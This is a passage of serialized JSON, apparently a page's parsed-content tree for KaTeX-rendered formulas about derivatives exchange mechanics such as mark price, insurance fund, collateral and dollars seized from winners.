},[5544],[162594],{"type":25,"tag":201,"props":162595,"children":162596},{},[],{"type":25,"tag":201,"props":162598,"children":162600},{"style":162599},"top:2.2624em;",[162601,162605],{"type":25,"tag":201,"props":162602,"children":162604},{"className":162603,"style":162031},[5553],[],{"type":25,"tag":201,"props":162606,"children":162608},{"className":162607},[5513],[162609],{"type":25,"tag":201,"props":162610,"children":162612},{"className":162611},[5513],[162613,162619],{"type":25,"tag":201,"props":162614,"children":162616},{"className":162615,"style":94131},[5513,23083],[162617],{"type":31,"value":162618},"D",{"type":25,"tag":201,"props":162620,"children":162622},{"className":162621},[5529],[162623],{"type":25,"tag":201,"props":162624,"children":162626},{"className":162625},[5534,23137],[162627,162656],{"type":25,"tag":201,"props":162628,"children":162630},{"className":162629},[5539],[162631,162651],{"type":25,"tag":201,"props":162632,"children":162634},{"className":162633,"style":143686},[5544],[162635],{"type":25,"tag":201,"props":162636,"children":162637},{"style":111130},[162638,162642],{"type":25,"tag":201,"props":162639,"children":162641},{"className":162640,"style":5554},[5553],[],{"type":25,"tag":201,"props":162643,"children":162645},{"className":162644},[5559,5560,5561,5562],[162646],{"type":25,"tag":201,"props":162647,"children":162649},{"className":162648,"style":23084},[5513,23083,5562],[162650],{"type":31,"value":7496},{"type":25,"tag":201,"props":162652,"children":162654},{"className":162653},[23240],[162655],{"type":31,"value":23243},{"type":25,"tag":201,"props":162657,"children":162659},{"className":162658},[5539],[162660],{"type":25,"tag":201,"props":162661,"children":162663},{"className":162662,"style":94214},[5544],[162664],{"type":25,"tag":201,"props":162665,"children":162666},{},[],{"type":25,"tag":201,"props":162668,"children":162670},{"style":162669},"top:4.8901em;",[162671,162675],{"type":25,"tag":201,"props":162672,"children":162674},{"className":162673,"style":162031},[5553],[],{"type":25,"tag":201,"props":162676,"children":162678},{"className":162677},[5513],[162679],{"type":25,"tag":201,"props":162680,"children":162682},{"className":162681},[5513],[162683,162689],{"type":25,"tag":201,"props":162684,"children":162686},{"className":162685,"style":96139},[5513,23083],[162687],{"type":31,"value":162688},"U",{"type":25,"tag":201,"props":162690,"children":162692},{"className":162691},[5529],[162693],{"type":25,"tag":201,"props":162694,"children":162696},{"className":162695},[5534,23137],[162697,162727],{"type":25,"tag":201,"props":162698,"children":162700},{"className":162699},[5539],[162701,162722],{"type":25,"tag":201,"props":162702,"children":162704},{"className":162703,"style":143686},[5544],[162705],{"type":25,"tag":201,"props":162706,"children":162708},{"style":162707},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[162709,162713],{"type":25,"tag":201,"props":162710,"children":162712},{"className":162711,"style":5554},[5553],[],{"type":25,"tag":201,"props":162714,"children":162716},{"className":162715},[5559,5560,5561,5562],[162717],{"type":25,"tag":201,"props":162718,"children":162720},{"className":162719,"style":23084},[5513,23083,5562],[162721],{"type":31,"value":7496},{"type":25,"tag":201,"props":162723,"children":162725},{"className":162724},[23240],[162726],{"type":31,"value":23243},{"type":25,"tag":201,"props":162728,"children":162730},{"className":162729},[5539],[162731],{"type":25,"tag":201,"props":162732,"children":162734},{"className":162733,"style":94214},[5544],[162735],{"type":25,"tag":201,"props":162736,"children":162737},{},[],{"type":25,"tag":201,"props":162739,"children":162741},{"style":162740},"top:7.3078em;",[162742,162746],{"type":25,"tag":201,"props":162743,"children":162745},{"className":162744,"style":162031},[5553],[],{"type":25,"tag":201,"props":162747,"children":162749},{"className":162748},[5513],[162750],{"type":25,"tag":201,"props":162751,"children":162753},{"className":162752},[5513],[162754,162759],{"type":25,"tag":201,"props":162755,"children":162757},{"className":162756,"style":123908},[5513,23083],[162758],{"type":31,"value":123911},{"type":25,"tag":201,"props":162760,"children":162762},{"className":162761},[5529],[162763],{"type":25,"tag":201,"props":162764,"children":162766},{"className":162765},[5534,23137],[162767,162798],{"type":25,"tag":201,"props":162768,"children":162770},{"className":162769},[5539],[162771,162793],{"type":25,"tag":201,"props":162772,"children":162775},{"className":162773,"style":162774},[5544],"height:0.2806em;",[162776],{"type":25,"tag":201,"props":162777,"children":162779},{"style":162778},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[162780,162784],{"type":25,"tag":201,"props":162781,"children":162783},{"className":162782,"style":5554},[5553],[],{"type":25,"tag":201,"props":162785,"children":162787},{"className":162786},[5559,5560,5561,5562],[162788],{"type":25,"tag":201,"props":162789,"children":162791},{"className":162790},[5513,23083,5562],[162792],{"type":31,"value":23225},{"type":25,"tag":201,"props":162794,"children":162796},{"className":162795},[23240],[162797],{"type":31,"value":23243},{"type":25,"tag":201,"props":162799,"children":162801},{"className":162800},[5539],[162802],{"type":25,"tag":201,"props":162803,"children":162805},{"className":162804,"style":94214},[5544],[162806],{"type":25,"tag":201,"props":162807,"children":162808},{},[],{"type":25,"tag":201,"props":162810,"children":162812},{"className":162811},[23240],[162813],{"type":31,"value":23243},{"type":25,"tag":201,"props":162815,"children":162817},{"className":162816},[5539],[162818],{"type":25,"tag":201,"props":162819,"children":162822},{"className":162820,"style":162821},[5544],"height:11.3392em;",[162823],{"type":25,"tag":201,"props":162824,"children":162825},{},[],{"type":25,"tag":201,"props":162827,"children":162829},{"className":162828},[160945],[162830],{"type":25,"tag":201,"props":162831,"children":162833},{"className":162832},[5534,23137],[162834,164536],{"type":25,"tag":201,"props":162835,"children":162837},{"className":162836},[5539],[162838,164531],{"type":25,"tag":201,"props":162839,"children":162841},{"className":162840,"style":162022},[5544],[162842,162880,162918,163065,163300,163455,163560,163603,163824,163983,164173,164325],{"type":25,"tag":201,"props":162843,"children":162844},{"style":162026},[162845,162849],{"type":25,"tag":201,"props":162846,"children":162848},{"className":162847,"style":162031},[5553],[],{"type":25,"tag":201,"props":162850,"children":162852},{"className":162851},[5513],[162853,162857,162861,162866,162870],{"type":25,"tag":201,"props":162854,"children":162856},{"className":162855},[5513],[],{"type":25,"tag":201,"props":162858,"children":162860},{"className":162859,"style":5691},[5593],[],{"type":25,"tag":201,"props":162862,"children":162864},{"className":162863},[5696],[162865],{"type":31,"value":23102},{"type":25,"tag":201,"props":162867,"children":162869},{"className":162868,"style":5691},[5593],[],{"type":25,"tag":201,"props":162871,"children":162873},{"className":162872},[5513,31],[162874],{"type":25,"tag":201,"props":162875,"children":162877},{"className":162876},[5513],[162878],{"type":31,"value":162879},"mark price",{"type":25,"tag":201,"props":162881,"children":162882},{"style":162097},[162883,162887],{"type":25,"tag":201,"props":162884,"children":162886},{"className":162885,"style":162031},[5553],[],{"type":25,"tag":201,"props":162888,"children":162890},{"className":162889},[5513],[162891,162895,162899,162904,162908],{"type":25,"tag":201,"props":162892,"children":162894},{"className":162893},[5513],[],{"type":25,"tag":201,"props":162896,"children":162898},{"className":162897,"style":5691},[5593],[],{"type":25,"tag":201,"props":162900,"children":162902},{"className":162901},[5696],[162903],{"type":31,"value":23102},{"type":25,"tag":201,"props":162905,"children":162907},{"className":162906,"style":5691},[5593],[],{"type":25,"tag":201,"props":162909,"children":162911},{"className":162910},[5513,31],[162912],{"type":25,"tag":201,"props":162913,"children":162915},{"className":162914},[5513],[162916],{"type":31,"value":162917},"insurance fund",{"type":25,"tag":201,"props":162919,"children":162920},{"style":162114},[162921,162925],{"type":25,"tag":201,"props":162922,"children":162924},{"className":162923,"style":162031},[5553],[],{"type":25,"tag":201,"props":162926,"children":162928},{"className":162927},[5513],[162929,162933,162937,162942,162946,162956,162960,162965,162969],{"type":25,"tag":201,"props":162930,"children":162932},{"className":162931},[5513],[],{"type":25,"tag":201,"props":162934,"children":162936},{"className":162935,"style":5691},[5593],[],{"type":25,"tag":201,"props":162938,"children":162940},{"className":162939},[5696],[162941],{"type":31,"value":23102},{"type":25,"tag":201,"props":162943,"children":162945},{"className":162944,"style":5691},[5593],[],{"type":25,"tag":201,"props":162947,"children":162949},{"className":162948},[5513,31],[162950],{"type":25,"tag":201,"props":162951,"children":162953},{"className":162952},[5513],[162954],{"type":31,"value":162955},"collateral",{"type":25,"tag":201,"props":162957,"children":162959},{"className":162958,"style":5691},[5593],[],{"type":25,"tag":201,"props":162961,"children":162963},{"className":162962},[5696],[162964],{"type":31,"value":1383},{"type":25,"tag":201,"props":162966,"children":162968},{"className":162967,"style":5691},[5593],[],{"type":25,"tag":201,"props":162970,"children":162972},{"className":162971},[5513],[162973,162977,163061],{"type":25,"tag":201,"props":162974,"children":162976},{"className":162975},[23212,114649],[],{"type":25,"tag":201,"props":162978,"children":162980},{"className":162979},[114654],[162981],{"type":25,"tag":201,"props":162982,"children":162984},{"className":162983},[5534,23137],[162985,163050],{"type":25,"tag":201,"props":162986,"children":162988},{"className":162987},[5539],[162989,163045],{"type":25,"tag":201,"props":162990,"children":162993},{"className":162991,"style":162992},[5544],"height:1.3714em;",[162994,163014,163025],{"type":25,"tag":201,"props":162995,"children":162996},{"style":160240},[162997,163001],{"type":25,"tag":201,"props":162998,"children":163000},{"className":162999,"style":113302},[5553],[],{"type":25,"tag":201,"props":163002,"children":163004},{"className":163003},[5513],[163005],{"type":25,"tag":201,"props":163006,"children":163008},{"className":163007},[5513,31],[163009],{"type":25,"tag":201,"props":163010,"children":163012},{"className":163011},[5513],[163013],{"type":31,"value":160277},{"type":25,"tag":201,"props":163015,"children":163016},{"style":114704},[163017,163021],{"type":25,"tag":201,"props":163018,"children":163020},{"className":163019,"style":113302},[5553],[],{"type":25,"tag":201,"props":163022,"children":163024},{"className":163023,"style":114714},[114713],[],{"type":25,"tag":201,"props":163026,"children":163027},{"style":160291},[163028,163032],{"type":25,"tag":201,"props":163029,"children":163031},{"className":163030,"style":113302},[5553],[],{"type":25,"tag":201,"props":163033,"children":163035},{"className":163034},[5513],[163036],{"type":25,"tag":201,"props":163037,"children":163039},{"className":163038},[5513,31],[163040],{"type":25,"tag":201,"props":163041,"children":163043},{"className":163042},[5513],[163044],{"type":31,"value":160316},{"type":25,"tag":201,"props":163046,"children":163048},{"className":163047},[23240],[163049],{"type":31,"value":23243},{"type":25,"tag":201,"props":163051,"children":163053},{"className":163052},[5539],[163054],{"type":25,"tag":201,"props":163055,"children":163057},{"className":163056,"style":160334},[5544],[163058],{"type":25,"tag":201,"props":163059,"children":163060},{},[],{"type":25,"tag":201,"props":163062,"children":163064},{"className":163063},[23234,114649],[],{"type":25,"tag":201,"props":163066,"children":163067},{"style":162183},[163068,163072],{"type":25,"tag":201,"props":163069,"children":163071},{"className":163070,"style":162031},[5553],[],{"type":25,"tag":201,"props":163073,"children":163075},{"className":163074},[5513],[163076,163080,163084,163089,163093,163150,163154,163159,163163,163168,163225,163229,163234,163238,163295],{"type":25,"tag":201,"props":163077,"children":163079},{"className":163078},[5513],[],{"type":25,"tag":201,"props":163081,"children":163083},{"className":163082,"style":5691},[5593],[],{"type":25,"tag":201,"props":163085,"children":163087},{"className":163086},[5696],[163088],{"type":31,"value":1383},{"type":25,"tag":201,"props":163090,"children":163092},{"className":163091,"style":5691},[5593],[],{"type":25,"tag":201,"props":163094,"children":163096},{"className":163095},[5513],[163097,163102],{"type":25,"tag":201,"props":163098,"children":163100},{"className":163099},[5513,23083],[163101],{"type":31,"value":12153},{"type":25,"tag":201,"props":163103,"children":163105},{"className":163104},[5529],[163106],{"type":25,"tag":201,"props":163107,"children":163109},{"className":163108},[5534,23137],[163110,163139],{"type":25,"tag":201,"props":163111,"children":163113},{"className":163112},[5539],[163114,163134],{"type":25,"tag":201,"props":163115,"children":163117},{"className":163116,"style":94660},[5544],[163118],{"type":25,"tag":201,"props":163119,"children":163120},{"style":94187},[163121,163125],{"type":25,"tag":201,"props":163122,"children":163124},{"className":163123,"style":5554},[5553],[],{"type":25,"tag":201,"props":163126,"children":163128},{"className":163127},[5559,5560,5561,5562],[163129],{"type":25,"tag":201,"props":163130,"children":163132},{"className":163131},[5513,23083,5562],[163133],{"type":31,"value":3641},{"type":25,"tag":201,"props":163135,"children":163137},{"className":163136},[23240],[163138],{"type":31,"value":23243},{"type":25,"tag":201,"props":163140,"children":163142},{"className":163141},[5539],[163143],{"type":25,"tag":201,"props":163144,"children":163146},{"className":163145,"style":94214},[5544],[163147],{"type":25,"tag":201,"props":163148,"children":163149},{},[],{"type":25,"tag":201,"props":163151,"children":163153},{"className":163152,"style":5594},[5593],[],{"type":25,"tag":201,"props":163155,"children":163157},{"className":163156},[5599],[163158],{"type":31,"value":112393},{"type":25,"tag":201,"props":163160,"children":163162},{"className":163161,"style":5594},[5593],[],{"type":25,"tag":201,"props":163164,"children":163166},{"className":163165},[23212],[163167],{"type":31,"value":298},{"type":25,"tag":201,"props":163169,"children":163171},{"className":163170},[5513],[163172,163177],{"type":25,"tag":201,"props":163173,"children":163175},{"className":163174,"style":23084},[5513,23083],[163176],{"type":31,"value":23087},{"type":25,"tag":201,"props":163178,"children":163180},{"className":163179},[5529],[163181],{"type":25,"tag":201,"props":163182,"children":163184},{"className":163183},[5534,23137],[163185,163214],{"type":25,"tag":201,"props":163186,"children":163188},{"className":163187},[5539],[163189,163209],{"type":25,"tag":201,"props":163190,"children":163192},{"className":163191,"style":110563},[5544],[163193],{"type":25,"tag":201,"props":163194,"children":163195},{"style":162064},[163196,163200],{"type":25,"tag":201,"props":163197,"children":163199},{"className":163198,"style":5554},[5553],[],{"type":25,"tag":201,"props":163201,"children":163203},{"className":163202},[5559,5560,5561,5562],[163204],{"type":25,"tag":201,"props":163205,"children":163207},{"className":163206},[5513,23083,5562],[163208],{"type":31,"value":57482},{"type":25,"tag":201,"props":163210,"children":163212},{"className":163211},[23240],[163213],{"type":31,"value":23243},{"type":25,"tag":201,"props":163215,"children":163217},{"className":163216},[5539],[163218],{"type":25,"tag":201,"props":163219,"children":163221},{"className":163220,"style":94214},[5544],[163222],{"type":25,"tag":201,"props":163223,"children":163224},{},[],{"type":25,"tag":201,"props":163226,"children":163228},{"className":163227,"style":5594},[5593],[],{"type":25,"tag":201,"props":163230,"children":163232},{"className":163231},[5599],[163233],{"type":31,"value":5573},{"type":25,"tag":201,"props":163235,"children":163237},{"className":163236,"style":5594},[5593],[],{"type":25,"tag":201,"props":163239,"children":163241},{"className":163240},[5513],[163242,163247],{"type":25,"tag":201,"props":163243,"children":163245},{"className":163244},[5513,23083],[163246],{"type":31,"value":34},{"type":25,"tag":201,"props":163248,"children":163250},{"className":163249},[5529],[163251],{"type":25,"tag":201,"props":163252,"children":163254},{"className":163253},[5534,23137],[163255,163284],{"type":25,"tag":201,"props":163256,"children":163258},{"className":163257},[5539],[163259,163279],{"type":25,"tag":201,"props":163260,"children":163262},{"className":163261,"style":94660},[5544],[163263],{"type":25,"tag":201,"props":163264,"children":163265},{"style":94187},[163266,163270],{"type":25,"tag":201,"props":163267,"children":163269},{"className":163268,"style":5554},[5553],[],{"type":25,"tag":201,"props":163271,"children":163273},{"className":163272},[5559,5560,5561,5562],[163274],{"type":25,"tag":201,"props":163275,"children":163277},{"className":163276},[5513,23083,5562],[163278],{"type":31,"value":3641},{"type":25,"tag":201,"props":163280,"children":163282},{"className":163281},[23240],[163283],{"type":31,"value":23243},{"type":25,"tag":201,"props":163285,"children":163287},{"className":163286},[5539],[163288],{"type":25,"tag":201,"props":163289,"children":163291},{"className":163290,"style":94214},[5544],[163292],{"type":25,"tag":201,"props":163293,"children":163294},{},[],{"type":25,"tag":201,"props":163296,"children":163298},{"className":163297},[23234],[163299],{"type":31,"value":3073},{"type":25,"tag":201,"props":163301,"children":163302},{"style":162253},[163303,163307],{"type":25,"tag":201,"props":163304,"children":163306},{"className":163305,"style":162031},[5553],[],{"type":25,"tag":201,"props":163308,"children":163310},{"className":163309},[5513],[163311,163315,163319,163324,163328,163385,163389,163394,163398],{"type":25,"tag":201,"props":163312,"children":163314},{"className":163313},[5513],[],{"type":25,"tag":201,"props":163316,"children":163318},{"className":163317,"style":5691},[5593],[],{"type":25,"tag":201,"props":163320,"children":163322},{"className":163321},[5696],[163323],{"type":31,"value":1383},{"type":25,"tag":201,"props":163325,"children":163327},{"className":163326,"style":5691},[5593],[],{"type":25,"tag":201,"props":163329,"children":163331},{"className":163330},[5513],[163332,163337],{"type":25,"tag":201,"props":163333,"children":163335},{"className":163334},[5513,23083],[163336],{"type":31,"value":4652},{"type":25,"tag":201,"props":163338,"children":163340},{"className":163339},[5529],[163341],{"type":25,"tag":201,"props":163342,"children":163344},{"className":163343},[5534,23137],[163345,163374],{"type":25,"tag":201,"props":163346,"children":163348},{"className":163347},[5539],[163349,163369],{"type":25,"tag":201,"props":163350,"children":163352},{"className":163351,"style":94660},[5544],[163353],{"type":25,"tag":201,"props":163354,"children":163355},{"style":94187},[163356,163360],{"type":25,"tag":201,"props":163357,"children":163359},{"className":163358,"style":5554},[5553],[],{"type":25,"tag":201,"props":163361,"children":163363},{"className":163362},[5559,5560,5561,5562],[163364],{"type":25,"tag":201,"props":163365,"children":163367},{"className":163366},[5513,23083,5562],[163368],{"type":31,"value":3641},{"type":25,"tag":201,"props":163370,"children":163372},{"className":163371},[23240],[163373],{"type":31,"value":23243},{"type":25,"tag":201,"props":163375,"children":163377},{"className":163376},[5539],[163378],{"type":25,"tag":201,"props":163379,"children":163381},{"className":163380,"style":94214},[5544],[163382],{"type":25,"tag":201,"props":163383,"children":163384},{},[],{"type":25,"tag":201,"props":163386,"children":163388},{"className":163387,"style":5594},[5593],[],{"type":25,"tag":201,"props":163390,"children":163392},{"className":163391},[5599],[163393],{"type":31,"value":5886},{"type":25,"tag":201,"props":163395,"children":163397},{"className":163396,"style":5594},[5593],[],{"type":25,"tag":201,"props":163399,"children":163401},{"className":163400},[5513],[163402,163407],{"type":25,"tag":201,"props":163403,"children":163405},{"className":163404,"style":94617},[5513,23083],[163406],{"type":31,"value":162202},{"type":25,"tag":201,"props":163408,"children":163410},{"className":163409},[5529],[163411],{"type":25,"tag":201,"props":163412,"children":163414},{"className":163413},[5534,23137],[163415,163444],{"type":25,"tag":201,"props":163416,"children":163418},{"className":163417},[5539],[163419,163439],{"type":25,"tag":201,"props":163420,"children":163422},{"className":163421,"style":94660},[5544],[163423],{"type":25,"tag":201,"props":163424,"children":163425},{"style":94664},[163426,163430],{"type":25,"tag":201,"props":163427,"children":163429},{"className":163428,"style":5554},[5553],[],{"type":25,"tag":201,"props":163431,"children":163433},{"className":163432},[5559,5560,5561,5562],[163434],{"type":25,"tag":201,"props":163435,"children":163437},{"className":163436},[5513,23083,5562],[163438],{"type":31,"value":3641},{"type":25,"tag":201,"props":163440,"children":163442},{"className":163441},[23240],[163443],{"type":31,"value":23243},{"type":25,"tag":201,"props":163445,"children":163447},{"className":163446},[5539],[163448],{"type":25,"tag":201,"props":163449,"children":163451},{"className":163450,"style":94214},[5544],[163452],{"type":25,"tag":201,"props":163453,"children":163454},{},[],{"type":25,"tag":201,"props":163456,"children":163457},{"style":162322},[163458,163462],{"type":25,"tag":201,"props":163459,"children":163461},{"className":163460,"style":162031},[5553],[],{"type":25,"tag":201,"props":163463,"children":163465},{"className":163464},[5513],[163466,163470,163474,163479,163483],{"type":25,"tag":201,"props":163467,"children":163469},{"className":163468},[5513],[],{"type":25,"tag":201,"props":163471,"children":163473},{"className":163472,"style":5691},[5593],[],{"type":25,"tag":201,"props":163475,"children":163477},{"className":163476},[5696],[163478],{"type":31,"value":1383},{"type":25,"tag":201,"props":163480,"children":163482},{"className":163481,"style":5691},[5593],[],{"type":25,"tag":201,"props":163484,"children":163486},{"className":163485},[5513],[163487,163492],{"type":25,"tag":201,"props":163488,"children":163490},{"className":163489,"style":94617},[5513,23083],[163491],{"type":31,"value":162202},{"type":25,"tag":201,"props":163493,"children":163495},{"className":163494},[5529],[163496],{"type":25,"tag":201,"props":163497,"children":163499},{"className":163498},[5534,23137],[163500,163548],{"type":25,"tag":201,"props":163501,"children":163503},{"className":163502},[5539],[163504,163543],{"type":25,"tag":201,"props":163505,"children":163508},{"className":163506,"style":163507},[5544],"height:0.8213em;",[163509,163526],{"type":25,"tag":201,"props":163510,"children":163512},{"style":163511},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[163513,163517],{"type":25,"tag":201,"props":163514,"children":163516},{"className":163515,"style":5554},[5553],[],{"type":25,"tag":201,"props":163518,"children":163520},{"className":163519},[5559,5560,5561,5562],[163521],{"type":25,"tag":201,"props":163522,"children":163524},{"className":163523},[5513,23083,5562],[163525],{"type":31,"value":3641},{"type":25,"tag":201,"props":163527,"children":163529},{"style":163528},"top:-3.113em;margin-right:0.05em;",[163530,163534],{"type":25,"tag":201,"props":163531,"children":163533},{"className":163532,"style":5554},[5553],[],{"type":25,"tag":201,"props":163535,"children":163537},{"className":163536},[5559,5560,5561,5562],[163538],{"type":25,"tag":201,"props":163539,"children":163541},{"className":163540},[5599,5562],[163542],{"type":31,"value":5886},{"type":25,"tag":201,"props":163544,"children":163546},{"className":163545},[23240],[163547],{"type":31,"value":23243},{"type":25,"tag":201,"props":163549,"children":163551},{"className":163550},[5539],[163552],{"type":25,"tag":201,"props":163553,"children":163556},{"className":163554,"style":163555},[5544],"height:0.267em;",[163557],{"type":25,"tag":201,"props":163558,"children":163559},{},[],{"type":25,"tag":201,"props":163561,"children":163562},{"style":162392},[163563,163567],{"type":25,"tag":201,"props":163564,"children":163566},{"className":163565,"style":162031},[5553],[],{"type":25,"tag":201,"props":163568,"children":163570},{"className":163569},[5513],[163571,163575,163579,163584,163588,163598],{"type":25,"tag":201,"props":163572,"children":163574},{"className":163573},[5513],[],{"type":25,"tag":201,"props":163576,"children":163578},{"className":163577,"style":5691},[5593],[],{"type":25,"tag":201,"props":163580,"children":163582},{"className":163581},[5696],[163583],{"type":31,"value":23102},{"type":25,"tag":201,"props":163585,"children":163587},{"className":163586,"style":5691},[5593],[],{"type":25,"tag":201,"props":163589,"children":163591},{"className":163590},[5513,31],[163592],{"type":25,"tag":201,"props":163593,"children":163595},{"className":163594},[5513],[163596],{"type":31,"value":163597},"dollars seized from winner ",{"type":25,"tag":201,"props":163599,"children":163601},{"className":163600},[5513,23083],[163602],{"type":31,"value":3641},{"type":25,"tag":201,"props":163604,"children":163605},{"style":162461},[163606,163610],{"type":25,"tag":201,"props":163607,"children":163609},{"className":163608,"style":162031},[5553],[],{"type":25,"tag":201,"props":163611,"children":163613},{"className":163612},[5513],[163614,163618,163622,163627,163631],{"type":25,"tag":201,"props":163615,"children":163617},{"className":163616},[5513],[],{"type":25,"tag":201,"props":163619,"children":163621},{"className":163620,"style":5691},[5593],[],{"type":25,"tag":201,"props":163623,"children":163625},{"className":163624},[5696],[163626],{"type":31,"value":1383},{"type":25,"tag":201,"props":163628,"children":163630},{"className":163629,"style":5691},[5593],[],{"type":25,"tag":201,"props":163632,"children":163634},{"className":163633},[5513],[163635,163639,163820],{"type":25,"tag":201,"props":163636,"children":163638},{"className":163637},[23212,114649],[],{"type":25,"tag":201,"props":163640,"children":163642},{"className":163641},[114654],[163643],{"type":25,"tag":201,"props":163644,"children":163646},{"className":163645},[5534,23137],[163647,163808],{"type":25,"tag":201,"props":163648,"children":163650},{"className":163649},[5539],[163651,163803],{"type":25,"tag":201,"props":163652,"children":163655},{"className":163653,"style":163654},[5544],"height:1.1076em;",[163656,163724,163735],{"type":25,"tag":201,"props":163657,"children":163658},{"style":160240},[163659,163663],{"type":25,"tag":201,"props":163660,"children":163662},{"className":163661,"style":113302},[5553],[],{"type":25,"tag":201,"props":163664,"children":163666},{"className":163665},[5513],[163667],{"type":25,"tag":201,"props":163668,"children":163670},{"className":163669},[5513],[163671,163676],{"type":25,"tag":201,"props":163672,"children":163674},{"className":163673,"style":123411},[5513,23083],[163675],{"type":31,"value":50649},{"type":25,"tag":201,"props":163677,"children":163679},{"className":163678},[5529],[163680],{"type":25,"tag":201,"props":163681,"children":163683},{"className":163682},[5534,23137],[163684,163713],{"type":25,"tag":201,"props":163685,"children":163687},{"className":163686},[5539],[163688,163708],{"type":25,"tag":201,"props":163689,"children":163691},{"className":163690,"style":94660},[5544],[163692],{"type":25,"tag":201,"props":163693,"children":163694},{"style":162359},[163695,163699],{"type":25,"tag":201,"props":163696,"children":163698},{"className":163697,"style":5554},[5553],[],{"type":25,"tag":201,"props":163700,"children":163702},{"className":163701},[5559,5560,5561,5562],[163703],{"type":25,"tag":201,"props":163704,"children":163706},{"className":163705},[5513,23083,5562],[163707],{"type":31,"value":3641},{"type":25,"tag":201,"props":163709,"children":163711},{"className":163710},[23240],[163712],{"type":31,"value":23243},{"type":25,"tag":201,"props":163714,"children":163716},{"className":163715},[5539],[163717],{"type":25,"tag":201,"props":163718,"children":163720},{"className":163719,"style":94214},[5544],[163721],{"type":25,"tag":201,"props":163722,"children":163723},{},[],{"type":25,"tag":201,"props":163725,"children":163726},{"style":114704},[163727,163731],{"type":25,"tag":201,"props":163728,"children":163730},{"className":163729,"style":113302},[5553],[],{"type":25,"tag":201,"props":163732,"children":163734},{"className":163733,"style":114714},[114713],[],{"type":25,"tag":201,"props":163736,"children":163737},{"style":160291},[163738,163742],{"type":25,"tag":201,"props":163739,"children":163741},{"className":163740,"style":113302},[5553],[],{"type":25,"tag":201,"props":163743,"children":163745},{"className":163744},[5513],[163746],{"type":25,"tag":201,"props":163747,"children":163749},{"className":163748},[5513],[163750,163755],{"type":25,"tag":201,"props":163751,"children":163753},{"className":163752},[5513,23083],[163754],{"type":31,"value":1606},{"type":25,"tag":201,"props":163756,"children":163758},{"className":163757},[5529],[163759],{"type":25,"tag":201,"props":163760,"children":163762},{"className":163761},[5534,23137],[163763,163792],{"type":25,"tag":201,"props":163764,"children":163766},{"className":163765},[5539],[163767,163787],{"type":25,"tag":201,"props":163768,"children":163770},{"className":163769,"style":94660},[5544],[163771],{"type":25,"tag":201,"props":163772,"children":163773},{"style":94187},[163774,163778],{"type":25,"tag":201,"props":163775,"children":163777},{"className":163776,"style":5554},[5553],[],{"type":25,"tag":201,"props":163779,"children":163781},{"className":163780},[5559,5560,5561,5562],[163782],{"type":25,"tag":201,"props":163783,"children":163785},{"className":163784},[5513,23083,5562],[163786],{"type":31,"value":3641},{"type":25,"tag":201,"props":163788,"children":163790},{"className":163789},[23240],[163791],{"type":31,"value":23243},{"type":25,"tag":201,"props":163793,"children":163795},{"className":163794},[5539],[163796],{"type":25,"tag":201,"props":163797,"children":163799},{"className":163798,"style":94214},[5544],[163800],{"type":25,"tag":201,"props":163801,"children":163802},{},[],{"type":25,"tag":201,"props":163804,"children":163806},{"className":163805},[23240],[163807],{"type":31,"value":23243},{"type":25,"tag":201,"props":163809,"children":163811},{"className":163810},[5539],[163812],{"type":25,"tag":201,"props":163813,"children":163816},{"className":163814,"style":163815},[5544],"height:0.836em;",[163817],{"type":25,"tag":201,"props":163818,"children":163819},{},[],{"type":25,"tag":201,"props":163821,"children":163823},{"className":163822},[23234,114649],[],{"type":25,"tag":201,"props":163825,"children":163826},{"style":162530},[163827,163831],{"type":25,"tag":201,"props":163828,"children":163830},{"className":163829,"style":162031},[5553],[],{"type":25,"tag":201,"props":163832,"children":163834},{"className":163833},[5513],[163835,163839,163843,163848,163852,163922,163926],{"type":25,"tag":201,"props":163836,"children":163838},{"className":163837},[5513],[],{"type":25,"tag":201,"props":163840,"children":163842},{"className":163841,"style":5691},[5593],[],{"type":25,"tag":201,"props":163844,"children":163846},{"className":163845},[5696],[163847],{"type":31,"value":1383},{"type":25,"tag":201,"props":163849,"children":163851},{"className":163850,"style":5691},[5593],[],{"type":25,"tag":201,"props":163853,"children":163856},{"className":163854},[23119,163855],"op-limits",[163857],{"type":25,"tag":201,"props":163858,"children":163860},{"className":163859},[5534,23137],[163861,163910],{"type":25,"tag":201,"props":163862,"children":163864},{"className":163863},[5539],[163865,163905],{"type":25,"tag":201,"props":163866,"children":163869},{"className":163867,"style":163868},[5544],"height:1.05em;",[163870,163888],{"type":25,"tag":201,"props":163871,"children":163873},{"style":163872},"top:-1.8723em;margin-left:0em;",[163874,163879],{"type":25,"tag":201,"props":163875,"children":163878},{"className":163876,"style":163877},[5553],"height:3.05em;",[],{"type":25,"tag":201,"props":163880,"children":163882},{"className":163881},[5559,5560,5561,5562],[163883],{"type":25,"tag":201,"props":163884,"children":163886},{"className":163885},[5513,23083,5562],[163887],{"type":31,"value":3641},{"type":25,"tag":201,"props":163889,"children":163891},{"style":163890},"top:-3.05em;",[163892,163896],{"type":25,"tag":201,"props":163893,"children":163895},{"className":163894,"style":163877},[5553],[],{"type":25,"tag":201,"props":163897,"children":163898},{},[163899],{"type":25,"tag":201,"props":163900,"children":163903},{"className":163901},[23119,23124,163902],"large-op",[163904],{"type":31,"value":109926},{"type":25,"tag":201,"props":163906,"children":163908},{"className":163907},[23240],[163909],{"type":31,"value":23243},{"type":25,"tag":201,"props":163911,"children":163913},{"className":163912},[5539],[163914],{"type":25,"tag":201,"props":163915,"children":163918},{"className":163916,"style":163917},[5544],"height:1.2777em;",[163919],{"type":25,"tag":201,"props":163920,"children":163921},{},[],{"type":25,"tag":201,"props":163923,"children":163925},{"className":163924,"style":5632},[5593],[],{"type":25,"tag":201,"props":163927,"children":163929},{"className":163928},[5513],[163930,163935],{"type":25,"tag":201,"props":163931,"children":163933},{"className":163932},[5513,23083],[163934],{"type":31,"value":1606},{"type":25,"tag":201,"props":163936,"children":163938},{"className":163937},[5529],[163939],{"type":25,"tag":201,"props":163940,"children":163942},{"className":163941},[5534,23137],[163943,163972],{"type":25,"tag":201,"props":163944,"children":163946},{"className":163945},[5539],[163947,163967],{"type":25,"tag":201,"props":163948,"children":163950},{"className":163949,"style":94660},[5544],[163951],{"type":25,"tag":201,"props":163952,"children":163953},{"style":94187},[163954,163958],{"type":25,"tag":201,"props":163955,"children":163957},{"className":163956,"style":5554},[5553],[],{"type":25,"tag":201,"props":163959,"children":163961},{"className":163960},[5559,5560,5561,5562],[163962],{"type":25,"tag":201,"props":163963,"children":163965},{"className":163964},[5513,23083,5562],[1